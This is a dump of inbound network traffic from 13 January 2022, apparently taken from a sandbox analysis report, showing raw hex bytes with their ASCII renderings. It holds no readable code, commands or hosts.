2022-01-13 21:05:25 UTC 1320 IN Data Raw: 42 b2 fd c2 7a 90 f3 6a 1c 91 cc f1 56 b2 a5 0b 90 16 f0 01 07 a8 22 49 e3 47 f4 63 84 cc 0e 4c 48 b7 7d d2 3e 
f1 e7 0f 99 03 86 51 86 1e 13 8c 5a d6 19 f6 c4 55 a6 9f 50 fd 86 35 08 87 56 7e 08 53 74 8f c9 5f ff cb 05 c3 fd 6e b1 7e 
5d ad 85 fd 13 c5 ce b5 7b e2 98 61 45 b2 4e 01 11 58 ed c2 3d b1 73 b4 6d 1b 60 03 07 de 42 4c f3 7b 4a 20 78 98 2f 22 
f5 24 95 72 8b b7 ad 48 ed 7a d4 62 be 9a 44 93 86 cc 73 9f 63 d4 3c cd b8 75 ba 28 35 2a a6 64 b0 de 7d 72 5f 1d aa 45 
25 00 56 9a ad 1d 04 3a f5 87 
Data Ascii: BzjV"IGcLH}>QZUP5V~St_n~]{aENX=sm`BL{J x/"$rHzbDsc<u(5*d}r_E%V:

2022-01-13 21:05:25 UTC 1320 IN Data Raw: f5 1a dd 94 d0 37 b3 f9 09 cd cf d9 f0 e5 db c5 7e 76 9f 6c 58 c9 1e 6c 74 07 fe 36 ef a3 98 a0 6a be 4d 6d a5 
a9 57 c0 d1 c9 96 fb cd c6 d2 b6 f1 85 9f cd 92 20 e5 b9 7c 5b c2 6c 97 5b 90 97 d6 86 a8 7d ec ed 24 5b c7 6c 1e 4f 1f cf 
8a 1d 83 c2 ef 3d d8 07 c4 51 3e 09 1d 45 ad 37 3c c2 54 c5 d2 c7 14 0e 67 e8 27 08 45 aa 62 65 88 2e 4b 88 aa 20 57 16 
52 2a 94 92 8d bc 5e 91 52 39 24 1b ee 47 e2 6f 02 25 09 81 e0 4a 33 01 4f b1 2f ff 65 1a 23 20 20 e3 c6 61 a6 81 2a 01 
09 17 0c b3 8c 10 cb 7d ca f5 c1 2c c3 c4 72 9f e5 72 60 dc 54 e0 c2 50 a6 65 b0 9c 29 f7 92 32 eb ed 5c 43 1a 39 41 19 
03 2a 28 c3 9c 1e 7b d1 19 5e e8 3e 02 49 86 77 cb 1c b3 0e 8e 36 ab 9f 33 e5 ca 5f b6 59 07 6e ac 4b c8 8c 7d f1 7a 63 
17 33 fe bf c4 bc db 63 ad eb 67 4c b8 11 99 6b db 
Data Ascii: 7~vlXlt6jMmW |[l[}$[lO=Q>E7<Tg'Ebe.K WR*^R9$Go%J3O/e#  a*},rr`TPe)2\C9A*({^>Iw63_YnK}zc3cgLk

2022-01-13 21:05:25 UTC 1322 IN Data Raw: 4b a9 9b 43 5a 55 08 f7 88 74 19 d0 f4 de 04 fc bf 3a 72 91 01 e4 0b 85 04 7c 27 a8 9f 7c 23 bb db 0b 55 aa a9 
9e 9d 0e 32 61 85 49 94 48 af b4 a4 c2 c2 2a b9 a5 b1 f1 4b 62 6f 17 18 a6 31 e7 64 43 f0 6e 6a 2d 86 2d 87 b7 07 41 3e 
41 fa b3 ee bf af 8b a7 db dd 74 55 94 0d 3e 53 63 3d 9b 65 66 05 b5 64 f7 3c 74 3e a4 7b ba e8 b9 7e 8f 16 c9 ef f7 1b 3a 
63 77 ff b0 5b 23 39 65 3a 5b f5 ff 6f 54 6a 25 20 03 ee 76 45 59 b6 66 8b dd ec 61 39 45 f0 32 fd 57 44 bd 4c c2 79 bc d4 
96 46 69 3e 78 27 49 b8 14 3e 32 6f e6 45 cb b2 90 b8 37 6f 1e 1b 34 40 f6 98 15 1b dd e1 68 dc 1e f5 57 1a c5 80 d9 fa 
76 b1 66 43 d1 f5 b1 19 51 45 d5 7b ab 6e f7 36 47 39 a2 ba 4b 3b 4a df 12 24 0b 89 3d d3 0d 67 24 ca f7 e1 73 02 42 3a 
78 ff dd b9 ce 68 bf a4 e1 14 6d 37 98 4c 4b 6d 
Data Ascii: KCZUt:r|'|#U2aIH*Kbo1dCnj--A>AtU>Sc=efd<t>{~:cw[#9e:[oTj% vEYfa9E2WDLyFi>x'I>2oE7o4@hWvf
CQE{n6G9K;J$=g$sB:xhm7LKm

2022-01-13 21:05:25 UTC 1323 IN Data Raw: 32 0b ab 10 25 af 3d f4 05 b2 34 d4 2e 12 95 38 d2 1e de 95 2e 24 de 50 81 86 56 71 43 06 ed f2 4d b1 db 2f 
98 12 ea 2e f7 6a 31 9f 2f 0b ec e1 09 ec f1 7a e0 fd e1 c1 4a 56 c4 02 8a 73 10 43 3b b0 17 f0 8e be 6d b3 ba 6c c4 83 c7 
3c 4a d9 15 db c4 99 ef f6 ad e5 5d 76 16 d1 29 f3 b2 94 ab ec 2c 8f 65 5e 96 dc 8a e4 d6 22 b7 0a 8f cb 4c 7e aa be 07 7f 
2a 41 b4 bd 6c ce dd e6 6d 56 5b 66 f1 33 2b 64 f1 b3 5a a5 f3 67 29 9f a5 79 3a 67 56 05 59 1b 67 30 a3 a6 38 98 7b dd 
32 e2 cf 8d b2 ce 6a e6 84 9c 84 d9 12 72 12 96 49 c8 49 38 41 2c e7 91 95 3c b2 86 c7 e4 39 d2 24 84 db 44 b3 85 1c 08 
60 0d 38 10 a9 99 4e e4 e1 0a e7 f8 51 62 66 dc 6e 89 99 71 33 a4 64 3e be c2 c7 d7 f6 c8 6c c7 5b 08 77 ae a4 9c 71 c3 
86 26 25 ae a7 11 d1 23 b0 e0 95 79 a1 8f 5f e1 2a 
Data Ascii: 2%=4.8.$PVqCM/.j1/zJVsC;ml<J]v),e^"L~*AlmV[f3+dZg)y:gVYg08{2jrII8A,<9$D`8NQbfnq3d>l[wq&%#y_*

2022-01-13 21:05:25 UTC 1324 IN Data Raw: 34 dd a7 34 ac 42 2a 2f b1 86 33 81 b1 6d a3 ec 08 18 c2 ac ed 4c 30 06 1b a0 d0 d0 a4 c5 1d 36 15 5e 29 1f 
cd c4 8c a7 61 b6 39 01 d7 2f 2b e6 36 8b ed b2 78 55 d5 c5 ec 77 f3 51 b5 58 4b 58 13 ab 7e 83 8e 57 3f 1f b4 ed e4 52 
10 f8 6b 0d ab 7a 84 ec 7f 9b fb 6a 91 0b 6a a7 57 1d bd c7 76 b2 d8 ff 80 6b 65 a7 db 40 ce f2 70 13 04 eb 24 2f f5 75 c0 
a5 be 0e bc d4 67 fc 42 fc 59 8b ae ff da eb 89 c7 aa 2f e6 e4 b8 7d 41 f3 b6 7b 83 f2 b4 8b 74 de c2 1d b9 1a 58 3d 53 72 
64 8d 7e 91 79 f4 f6 8d aa 5b 75 b5 30 30 ba 9f 50 44 d0 49 49 38 b4 c1 10 07 52 53 e9 04 06 d4 a0 3d e2 b1 7d ca 2d da 
3d fe 1f 00 fd 96 1b f3 6a fd 6c 58 35 40 79 bf dd e7 ff e5 35 8a c6 9c 12 3f 54 53 57 3d ef 58 2b 86 26 5c 47 c8 93 fb 2e 
2e 28 4d b4 71 e8 6f 96 7c bc 30 fc f1 12 1f a8 
Data Ascii: 44B*/3mL06^)a9/+6xUwQXKX~W?RkzjjWvke@p$/ugBY/}A{tX=Srd~y[u00PDII8RS=}-=jlX5@y5?TSW=X+&\G..
(Mqo|0
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2022-01-13 21:05:25 UTC 1326 IN Data Raw: 29 f5 4a 10 90 58 31 c7 bd 44 25 9a 67 b2 49 da be c2 51 7a db 23 6e 6e 4e 10 e3 53 4b b5 33 b4 49 94 a6 a6 
62 49 af 44 98 a3 8a 06 32 02 04 b8 08 cb 57 ca fe b2 2b a6 f3 cd 7a f9 f4 aa e6 c6 25 8b 08 18 32 98 e7 37 36 97 1d 7e 
05 66 0e f8 67 1d e5 17 f3 80 26 c2 23 3d c6 d4 f1 22 38 1b 72 45 07 9b 28 00 8d 85 4a 73 26 6f de 9d db aa 95 74 b0 da 
2b fc e6 39 bc a1 2d 77 09 c1 31 20 21 09 db ad 93 01 31 d6 63 7e 5d 78 e5 56 07 70 f5 cc e4 58 6c 51 ca 75 74 59 2c 6f 
f5 7a d9 5a 66 e3 6b ea 90 5a ee a6 1e d8 87 ba ae 2e c6 80 6b 67 e2 e0 69 28 ce 9d 44 44 74 48 b6 b3 9d c3 a5 c0 0b 
26 aa 8e 62 9b 10 93 7d 6d c5 93 a5 15 e2 ed 8b e8 73 a9 5c 19 ee aa a7 a5 b1 a7 c2 96 14 7d 27 a2 b7 35 18 54 7d 42 
16 33 d0 7b 55 93 36 fe 24 22 be 23 a1 f7 23 52 76 2f 00 6f 96 
Data Ascii: )JX1D%gIQz#nnNSK3IbID2W+z%276~fg&#="8rE(Js&ot+9-w1 !1c~]xVpXlQutY,ozZfkZ.kgi(DDtH&b}ms\}
'5T}B3{U6$"##Rv/o

2022-01-13 21:05:25 UTC 1327 IN Data Raw: d3 2f 09 21 78 bf 5b ac 5f 57 05 40 f0 58 50 fd 6a 59 39 7f 5a 4f 57 8b 99 9a 6c cb 8d 75 33 cd 53 df 77 2e 88 af
4b d4 5b 68 ec d7 9f 64 ed 5e b9 48 a0 f1 1c aa 1d 4a 73 e0 ee 9b d3 58 0e 0f e1 10 e7 ed d5 22 3d ad 34 dd ec ba 54 fd 
7d f0 b4 f6 6d 42 ca 00 a6 42 16 a6 d7 e6 54 dd 3d f9 11 7f c2 83 17 d3 b6 6f 16 e5 82 4d f4 a2 ba 68 55 aa f3 45 3c 48 48 
1b c6 da 64 f5 9b c0 9e 95 35 3a 10 f6 14 9c e3 d2 12 29 6f 0a 9a 7f 30 a9 ac 6e 08 ce 5a 9d 5c 63 20 33 9d 48 bc b0 53 
12 57 6d cd 37 dd ab 57 31 5c b2 d8 5c 51 af 51 f8 d7 2f 24 10 db 99 a0 be dc fd 8f 6a db db 59 96 83 7d 94 91 05 b2 0c 
67 2f 0d d6 f9 25 d8 72 83 ab e6 cf 4a c2 57 fe 02 66 93 37 a5 23 c6 23 ae 53 07 c4 c2 9b 41 11 e1 90 d5 8c d8 4c f7 6b 7f 
f5 1b 2a 50 9c 7a 4c 25 7e 42 a8 34 cd 87 5d 
Data Ascii: /!x[_W@XPjY9ZOWlu3Sw.K[hd^HJsX"=4T}mBBT=oMhUE<HHd5:)o0nZ\c 3HSWm7W1\\QQ/$jY}g/
%rJWf7##SALk*PzL%~B4]

2022-01-13 21:05:25 UTC 1328 IN Data Raw: f6 f4 e2 8d f0 a1 d5 8f bf b2 7e 40 d7 97 db f9 f3 fb e5 f4 a7 f9 66 ae 7e 7f 05 07 17 bb 3e cc 7f 97 af 59 fe d7 d3
7f 7e f3 f6 e6 f3 bf 0e 8d 4c 59 47 6b 30 63 f5 2b d9 ff 4b 9a 25 ef ad f0 cd bf df 75 fe 6f 6c c0 f2 c7 1f 00 72 9b 38 97 0d 62
37 55 53 cc 86 42 f3 54 53 ba c8 84 d4 e1 76 55 91 07 e1 bb 62 3f bb 17 e9 62 f0 9d de 71 a0 4b be 65 a6 57 91 ce 03 17 
fe d5 c4 7c 99 7a e5 cd 8f 20 0f f0 ed 0d b3 c4 95 d0 11 fe 92 d5 dd b9 41 f7 8f e1 16 84 12 e5 e3 07 d8 d8 99 33 b6 10 d9 
5d 89 93 76 3b a3 3c 4b 7a 58 ad 9e 02 9b 2c 70 cf 0a f1 15 52 12 fd 79 93 59 da 95 f5 d8 82 cc bc b9 d1 ef 79 f5 13 9b 8a 
e2 28 d7 de 0a 0b bc c5 80 de b8 a3 45 ca fd c6 e9 cd 41 9e 33 89 83 0d 0c 2e fb 3d ee 45 70 bf 89 42 91 44 de 39 0c 86 
e0 81 ac e7 cb 82 bd be 18 2c 82 
Data Ascii: ~@f~>Y~LYGk0c+K%uolr8b7USBTSvUb?bqKeW|z A3]v;<KzX,pRyYy(EA3.=EpBD9,

2022-01-13 21:05:25 UTC 1329 IN Data Raw: bd 87 e5 f2 e0 c1 d4 d9 09 60 9d db 1b 5b fa 72 09 dc db 1f 56 96 a0 b1 23 67 ec 88 19 07 a5 a8 3e a6 1c 86 fd
5b 7a 8f 6f 10 2f 9f 0f 6c b9 cf b9 20 ee ba a2 97 56 1f 6a ee ab ee 50 19 cc e0 83 c7 8c 06 56 49 ff df ca bc d4 fe 9c 7f 24 
16 25 d8 3e 09 f3 35 d4 bf 62 6f 01 20 bf 34 c4 6e cf 9b 05 0c 55 af f6 c4 2c eb 38 bd 72 59 ec f9 bc 9f ef 13 f2 f2 db 9d ce 
b0 58 11 eb 5b b8 13 38 e8 74 ae f3 81 95 90 17 44 46 03 bb 59 46 03 7b f7 a3 0a 6a 36 9b 4e a0 3a 8d fb 6e 13 49 ec 61 
89 7d 50 77 1d ee 0c ab 64 87 40 9b f0 65 5f d2 f4 20 a3 7e 74 06 31 d9 9c 17 b3 8d 1a 97 70 cb 37 da bc 33 ab 6a c6 40 
a9 90 ec ab ea c9 cd 43 54 45 7f 1e 2a 8f 59 ed a8 7a cc a0 55 4e c4 86 15 51 38 3f f3 4e f7 5a cd bf 74 9c 3e 42 61 30 f8 
85 eb 1b 18 24 bd 7c cf ab 7c 10 db c9 
Data Ascii: `[rV#g>[zo/l VjPVI$%>5bo 4nU,8rYX[8tDFYF{j6N:nIa}Pwd@e_ ~t1p73j@CTE*YzUNQ8?NZt>Ba0$||

2022-01-13 21:05:25 UTC 1331 IN Data Raw: c6 0e e5 d2 50 2e 1d ca c8 50 46 0e 65 68 28 43 87 32 30 94 81 43 e9 1b 4a df a1 f4 0c a5 e7 50 ba 86 d2 75 
28 c6 06 5d c7 06 c6 04 8e 05 8c 01 9c fa 9b ea 3b b5 37 95 77 ea 6e aa ee d4 dc 54 dc a9 b7 a9 b6 53 6b 53 69 b7 ce a6 
62 56 7a 07 f5 05 cd 6c f3 6a d1 b6 64 ad 88 ad 87 56 db d6 5a 57 d2 ae a3 36 89 6d 11 6d 40 db 7e da dc b6 b5 75 e3 
d8 6d 63 1a d3 69 4b d3 fc 4e eb 1b 87 71 fc c5 b8 98 e3 61 c6 29 1d 9f 34 6e ec 78 b1 71 7c c7 ef 4d 57 71 7a 8a e9 5c 
4e df 32 dd d1 e9 8d a6 03 57 fd 57 ec 95 b4 d8 20 aa 86 0e fd 76 44 98 5a 11 f4 5f 36 d2 3a dc d2 b1 25 01 42 b0 44 9a 
0f 63 41 b5 f0 8f 9f 9d 5a 0f 83 b5 f6 a9 15 41 ff 65 95 37 fc 90 aa f6 30 b1 da 21 3e 8c 05 55 c3 af 36 53 cc 2a a6 1b 6e 
6e 84 0c 28 e6 4f fb 20 a5 43 56 be 9b da e8 41 46 94 07 
Data Ascii: P.PFeh(C20CJPu(];7wnTSkSibVzljdVZW6mm@~umciKNqa)4nxq|MWqz\N2WW vDZ_6:%BDcAZAe7
0!>U6S*nn(O CVAF

2022-01-13 21:05:25 UTC 1332 IN Data Raw: d1 69 36 0f 48 76 35 1f 45 6c 3e c2 6c 3e a2 2d 33 3a cd e6 01 c9 9e e6 11 9b 5f 62 36 bf a4 2d 73 79 9a cd 03 
92 5d cd 2f 23 36 bf c4 6c 7e 49 5b e6 f2 34 9b 07 24 7b 9a 47 6c 3e c6 6c 3e a6 2d 33 3e cd e6 01 c9 ae e6 e3 88 cd c7 
98 cd c7 b4 65 c6 a7 d9 3c 20 d9 d3 3c 62 f3 09 66 f3 09 6d 99 c9 69 36 0f 48 76 35 9f 44 6c 3e c1 6c 3e a1 2d 33 39 cd 
e6 e2 9c a2 52 ce 1c 4a 30 39 4d 2a 43 b0 aa e1 55 53 e7 e0 e8 4a ad 77 f0 f5 55 ce 32 28 36 3f ec 83 fd 22 71 50 f2 a1 
a1 a8 bd 89 d1 08 29 2e 55 be 38 8e 30 1f 00 7e f4 f0 21 b2 d0 66 5a 98 22 b4 12 fe 97 05 e8 e1 48 b2 e7 a0 b4 30 fb 7b 
42 cb b3 34 f3 ed 83 70 61 5f c2 23 ed 86 09 8a db 30 be 55 a1 aa a2 a7 df 01 cb 80 ea 90 16 cb 70 7a 42 14 fc 5e d3 cd 
09 51 ac 4c c5 1c f5 a0 f1 13 30 5b 9d 72 e4 c3 8f 2e 
Data Ascii: i6Hv5El>l>-3:_b6-sy]/#6l~I[4${Gl>l>-3>e< <bfmi6Hv5Dl>l>-39RJ09M*CUSJwU2(6?"qP).U80~!fZ"H
0{B4pa_#0UpzB^QL0[r.

2022-01-13 21:05:25 UTC 1333 IN Data Raw: eb 50 e9 76 0f 47 ef b9 1c 94 17 9c 18 85 6b 44 e0 81 b8 2e 39 52 1b 3a d8 d0 63 09 d6 e7 94 a0 dc a8 37 06 
9c 21 dd e2 b1 6a d4 16 a3 1b ef 97 a1 1e 91 e1 89 d1 16 ae 3d 64 d7 ad 9a 17 51 6b 55 0e a3 a6 c4 ee 12 15 44 f9 4e 8e 
e0 8d 0c 93 e4 00 95 3a 18 84 3b 58 0d 01 bd de 68 1d 1c 31 d3 c6 a3 c4 5e 1e fb c4 65 c6 f7 32 01 ea 9a 64 f0 66 2c 2b 
c6 0f ea 8d e5 c8 8f f6 65 99 32 03 7e 59 8e cc 98 5f 91 23 3b ec 57 e4 ca 8c fc 7d 2c d1 e0 5f 9e 7c 86 f8 5f 21 36 7a af 
36 58 78 7a 14 b0 12 cd a4 d5 5b af 6b ac 02 bc b7 d5 5e 87 6b fb aa ae 16 8c dd e4 e7 c9 67 0a 6e 0e 8a 4e 8f 6f 26 9a 
a3 46 ad 91 36 a8 2d 30 fb b1 c4 63 b3 45 fa b9 c2 b3 63 c2 93 23 b4 09 db d7 aa 39 62 fd 1a c3 cb 1f 4b 3c c2 5c a4 9f 2b
c8 3c 22 3c 3d ce 9c b2 7f 9d 9a 63 f6 af 2f 48 fe 
Data Ascii: PvGkD.9R:c7!j=dQkUDN:;Xh1^e2df,+e2~Y_#;W},_|_!6z6Xxz[k^kgnNo&F6-0cEc#9bK<\+<"<=c/H

2022-01-13 21:05:25 UTC 1334 IN Data Raw: 2c 7d c2 1f 98 f1 67 43 41 a9 c5 7f 8a 8f d1 80 50 15 dd 49 b0 b4 09 c0 42 19 01 39 16 4b 01 87 c2 38 43 3a 
26 40 44 a9 7c 29 3e 46 03 45 55 74 27 c1 b6 58 cc c7 92 11 a3 12 d8 03 9c 21 1d 13 a0 a3 d4 26 52 8a 8f d1 00 52 15 
dd 49 b0 b4 09 c0 48 19 01 39 16 4b 01 93 c2 38 43 3a 26 40 4a a9 7c 29 3e 46 03 4b 55 74 27 c1 b6 58 cc c7 92 11 a6 
12 d8 03 9c 21 1d 13 a0 a6 64 be 08 da 14 c9 e4 d1 9d 04 4b 9b 00 ec 94 11 90 63 b1 14 f0 29 8c 33 a4 63 02 04 95 ca 97
e2 63 34 10 55 45 77 12 6c 8b c5 7c 2c 19 91 2a 81 3d c0 19 d2 31 01 9a 4a e6 8b a0 53 91 4c 1e dd 49 b0 b4 09 c0 54 1
9 01 39 16 4b 01 ab c2 38 43 3a 26 40 56 a9 7c 29 3e 46 03 57 55 74 27 c1 b6 58 cc c7 92 11 ac 12 d8 03 9c 21 1d 13 a0 
ac d4 7a 34 8c 66 45 32 79 74 27 c1 5e 89 e3 b0 56 ea 2b 1f 46 b6 
Data Ascii: ,}gCAPIB9K8C:&@D|)>FEUt'X!&RRIH9K8C:&@J|)>FKUt'X!dKc)3cc4UEwl|,*=1JSLIT9K8C:&@V|)>FWUt'X
!z4fE2yt'^V+F

2022-01-13 21:05:25 UTC 1336 IN Data Raw: 22 00 da 38 89 40 67 e3 ad 4a 41 b3 71 1f 09 86 50 a1 0c 16 0d fc 38 c0 60 24 12 8e 4d 64 4b 0b 95 8a b0 12 
5c 94 46 51 08 36 ee b4 31 6b 90 01 80 92 06 7e 58 65 d3 71 7f 22 5f b2 39 12 e2 fd 5c 2e 4a a5 38 d4 9a e8 47 31 83 d0 
20 6b 8a 08 7f 59 0a 04 e0 d5 64 d6 64 ab a4 00 ab 79 6c a4 5e 09 90 6a a2 6b 47 2d 13 f2 95 ae e5 2c e9 30 6a 32 6b ba 
65 d2 1c 06 45 4f f3 f5 4a 80 4e 13 a3 4d cc 32 34 68 9a 22 c2 5f 96 06 01 b8 34 99 35 d9 32 29 40 69 1e 1b a9 57 02 44 
1a cf 14 f5 19 1a 1c 4d 11 e1 2f db 32 41 9f 49 c6 44 8b f1 52 6c a4 5e 09 50 68 7c 7a 11 f5 19 1a 04 4d 11 e1 2f 4b 83 00 
fc 99 cc 9a 6c 99 14 e0 33 8f 8d d4 2b 01 f2 8c 67 8a fa 0c 0d 76 a6 88 f0 97 6d 99 a0 cf 24 63 9c c5 78 29 36 52 af 04 68 
33 3e f3 8c fa 0c 0d 6a a6 88 f0 97 a5 41 00 ce 4c 
Data Ascii: "8@gJAqP8`$MdK\FQ61k~Xeq"_9\.J8G1 kYddyl^jkG-,0j2keEOJNM24h"_452)@iWDM/2AIDRl^Ph|zM/Kl3+
gvm$cx)6Rh3>jAL

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1337 IN Data Raw: 48 3f 17 9a 52 58 b8 57 85 6c ff af 55 73 cc fe fc 32 24 d4 0f 1e 66 55 de 8c e7 0c 56 3b d2 54 8c e7 e0 68 1f 
38 e1 22 cf d5 82 2a 3a 64 37 eb 79 40 96 ca d5 59 11 96 ca d5 b9 e1 95 62 15 f0 f6 05 b3 b1 95 62 75 f0 66 de 29 b0 3c 
de ce 69 cd 90 4a de ca a4 66 30 25 28 1f bd 00 81 ed de d6 8c a1 84 2d 90 6a 46 4f 72 8a c0 a1 93 c0 9d 5e c3 ef f4 e4 
1c c4 24 23 23 02 97 a4 24 3b 4c 04 56 d2 64 d4 11 a8 48 82 5b 2a 70 27 44 d0 90 43 8a 4e a2 0e 69 3a 05 3c a4 e9 14 
f6 90 a6 53 f0 43 9a 4e 21 10 69 3a 05 42 a4 e9 14 0e 91 a6 53 50 44 9a 4e a1 11 69 3a 05 48 a4 e8 04 26 91 a2 12 b0 
44 8a 4a 20 13 29 2a 01 4e a4 a8 04 3e 91 a2 12 10 45 8a 4a a0 14 69 8f c1 81 8a b4 3d 70 ac 22 49 c5 e1 8a 24 0d 47 
2c 92 34 1c b4 48 d2 70 dc 22 49 c3 a1 8b 24 0d 47 2f 92 34 1c 
Data Ascii: H?RXWlUs2$fUV;Th8"*:d7y@Ybbuf)<iJf0%(-jFOr^$##$;LVdH[*p'DCNi:<SCN!i:BSPDNi:H&DJ )*N>EJi=
p"I$G,4Hp"I$G/4

2022-01-13 21:05:25 UTC 1338 IN Data Raw: 42 47 f6 94 5a ab 40 36 4a 8d a8 61 4a 20 dd 53 ce 87 1d 16 95 ef d5 e5 c8 9e 52 6b 15 e8 46 a9 0f 4a 4c 0a 
44 d1 c4 34 e9 5c 80 62 51 f9 6e 5d e2 98 62 78 a3 d4 5a 05 b2 51 6a c4 17 53 02 e9 9e 72 3e 94 b1 a8 7c af 2e 47 f6 94 
5a ab 40 37 4a 7d a0 63 6a d9 43 f7 94 f3 41 8f 45 e5 7b 4b ae 23 7b 4a ad 55 a0 97 8e f5 21 91 29 81 81 95 fc d9 f0 c8 
a2 f2 bd ba 1c bb 9a af b3 0a 74 a3 d4 07 4f 26 05 a2 08 65 9a 74 2e 90 b2 a8 7c 2f 92 fa c8 9e 52 6b 15 c8 46 a9 11 b3 
4c 09 a4 7b ca f9 90 cb a2 f2 bd ba 1c d9 53 6a ad 02 dd 28 f5 01 99 49 81 28 96 99 26 9d 0b ce 2c 2a df ad 4b 1c d1 0c 
6f 94 5a ab 40 36 4a 8d e8 66 4a 20 dd 53 ce 87 71 16 95 ef d5 e5 c8 9e 52 6b 15 e8 46 a9 0f f2 4c 0a 44 51 cf 34 e9 5c 
c0 67 51 f9 6e 5d e2 d8 67 78 a3 d4 5a 05 b2 51 6a c4 41 
Data Ascii: BGZ@6JaJ SRkFJLD4\bQn]bxZQjSr>|.GZ@7J}cjCAE{K#{JU!)tO&et.|/RkFL{Sj(I(&,*KoZ@6JfJ SqRkFLD
Q4\gQn]gxZQjA

2022-01-13 21:05:25 UTC 1340 IN Data Raw: 48 cd 06 ff 5a 11 80 3d 26 3d 46 46 35 0d e0 25 41 6a 06 da d7 0a 83 a4 91 89 a4 86 38 d8 8d 22 10 ba 1d 01 
ef c5 8d 4f 63 7b 39 54 ba dd c3 e8 3b 2e 07 e5 05 27 e2 79 19 11 38 98 97 4b 8e d4 86 86 09 f2 58 82 f5 39 05 c0 2b ea 
8d 01 67 48 b7 78 ac 1a b5 21 76 c5 fb 65 a8 47 64 78 62 b4 85 6b 87 e8 72 ab e6 21 65 59 95 c3 a8 29 c8 5c 44 05 51 
be 93 31 b9 22 c3 24 39 40 a5 0e 06 e1 0e 56 03 08 97 37 5a 07 47 cc b4 f1 28 b1 97 c7 3e 71 b9 a8 5b ab 79 0a e4 16 
2b 26 13 6f 8b e5 c8 07 db 62 99 32 91 b6 58 8e 4c 98 2d 91 23 1b 63 4b e4 ca 04 d8 5a cd 51 74 2d 9e 7c 06 68 2d 21 3
6 8a ab 15 2c dc bd 50 18 2d 9d 49 ab b7 5e 28 9c 16 ef 6d b5 d7 01 03 d2 5a cd 51 14 2d 9e 7c 26 08 ad a0 68 2f 52 35 
b7 39 6a d4 1a 69 83 da 30 b3 56 73 1c 30 4b a4 9f 0b 2d 2b 26 dc 
Data Ascii: HZ=&=FF5%Aj8"Oc{9T;.'y8KX9+gHx!veGdxbkr!eY)\DQ1"$9@V7ZG(>q[y+&ob2XL-#cKZQt-|h-!6,P-I^(mZQ-
|&h/R59ji0Vs0K-+&

2022-01-13 21:05:25 UTC 1341 IN Data Raw: f9 a4 f2 25 4d f5 63 73 7d 6f b2 9f 8c ff 64 04 64 59 2c 7d c2 1f 98 f1 67 63 41 a9 c5 7f 8a 8f d1 88 50 15 dd 49 
b0 b4 09 e0 42 19 01 39 16 4b 41 87 c2 38 43 3a 26 60 44 a9 7c 29 3e 46 23 45 55 74 27 c1 b6 58 cc c7 92 21 a3 12 d8 
03 9c 21 1d 13 b0 a3 d4 26 52 8a 8f d1 08 52 15 dd 49 b0 b4 09 e0 48 19 01 39 16 4b 41 93 c2 38 43 3a 26 60 4a a9 7c 
29 3e 46 23 4b 55 74 27 c1 b6 58 cc c7 92 21 a6 12 d8 03 9c 21 1d 13 b0 a6 64 be 08 dc 14 c9 e4 d1 9d 04 4b 9b 00 ee 
94 11 90 63 b1 14 f4 29 8c 33 a4 63 02 06 95 ca 97 e2 63 34 12 55 45 77 12 6c 8b c5 7c 2c 19 92 2a 81 3d c0 19 d2 31 
01 9b 4a e6 8b c0 53 91 4c 1e dd 49 b0 b4 09 e0 54 19 01 39 16 4b 41 ab c2 38 43 3a 26 60 56 a9 7c 29 3e 46 23 57 55 7
4 27 c1 b6 58 cc c7 92 21 ac 12 d8 03 9c 21 1d 13 b0 ac d4 7a 34 
Data Ascii: %Mcs}oddY,}gcAPIB9KA8C:&`D|)>F#EUt'X!!&RRIH9KA8C:&`J|)>F#KUt'X!!dKc)3cc4UEwl|,*=1JSLIT9K
A8C:&`V|)>F#WUt'X!!z4

2022-01-13 21:05:25 UTC 1342 IN Data Raw: 30 df ee 10 30 dc ee 10 30 d9 ee 10 30 d6 ee 10 30 d3 2e 26 48 80 76 51 22 34 bb 28 11 94 5d 94 08 c7 2e 4a 
04 62 17 25 42 b0 8b 12 c1 d7 45 89 b0 eb a2 44 c0 75 51 22 d4 ba b8 aa 0c 59 17 7b 44 7c b5 0c 1a 34 5a 75 f0 5a bf a4 
45 31 75 69 9a ed 15 32 c5 94 58 b1 88 54 34 5d 6c 5a ad 1a f4 c5 c8 ac 55 07 cd b9 f9 fb 90 69 9e b9 1c 86 f7 20 7b 2b 
16 92 8e a0 4b fb 48 2b 08 87 cf 15 b1 3e 6a 02 10 b0 73 79 aa b9 2a 16 e0 dc 60 46 e3 32 a0 e6 d2 d6 56 2b 23 f5 ca 87 
a6 59 ec 78 b9 3c d5 5e 19 5b c3 40 aa dc 18 97 01 29 97 ae 36 5a 65 38 4c ae 88 f5 51 13 81 80 91 cb 53 cd 95 b1 00 e4 
06 33 1a 97 01 1d 17 27 a9 3d c3 a1 71 45 ac 8f da ca 88 3d 63 66 c5 69 b6 cc 8c c6 65 40 c4 c5 db 0b b5 67 38 1c ae 88 
f5 51 13 81 80 85 cb 53 cd 95 b1 00 e1 06 33 1a 97 01 05 
Data Ascii: 00000.&HvQ"4(].Jb%BEDuQ"Y{D|4ZuZE1ui2XT4]lZUi {+KH+>jsy*`F2V+#Yx<^[@)6Ze8LQS3'=qE=cfie@g
8QS3

2022-01-13 21:05:25 UTC 1343 IN Data Raw: d5 5f 66 5d dd 8c 67 8a 69 2b 4b 75 d8 bc 76 d1 0b df 70 89 91 74 72 f7 fd 15 fd 4a 6e 11 7c 2a 6c 4b c9 53 61 
5b 8d 9d d2 12 18 3e 17 9c 66 4e 69 39 0c 77 de 16 5c d1 f0 c9 a9 33 6a 6a 78 32 71 86 4c d5 fe e1 0f 20 d0 a7 b7 ce 6c 
29 f4 80 e4 4c 95 ea 4e 81 91 52 d5 6f 7a 1f f6 dd 16 9f 21 49 3d 7c 28 18 a9 e2 b9 33 62 0c a9 8f 7f fe 37 c1 a2 92 79 8e 
60 4b 3e 38 73 a8 e8 14 3b 74 ea 8c 3c 74 ea 0c 3e 74 ea 8c 3f 74 ea 0c 41 74 ea 8c 42 74 ea 0c 44 74 ea 8c 45 74 ea 0c 
47 74 ea 8c 48 54 74 02 25 2a 2a e1 12 15 95 a0 89 8a 4a e8 44 45 25 80 a2 a2 12 46 51 51 09 a6 e8 ec 18 4c 2a 3a eb 
81 61 45 59 c5 bc a2 ac 61 64 51 d6 30 b5 28 6b 18 5c 94 35 cc 2e ca 1a c6 17 65 0d 13 8c b2 86 21 46 59 c3 1c a3 ac 61
94 51 c9 9d d0 8c 8a 4a 80 46 45 25 4c a3 a2 12 ac 51 
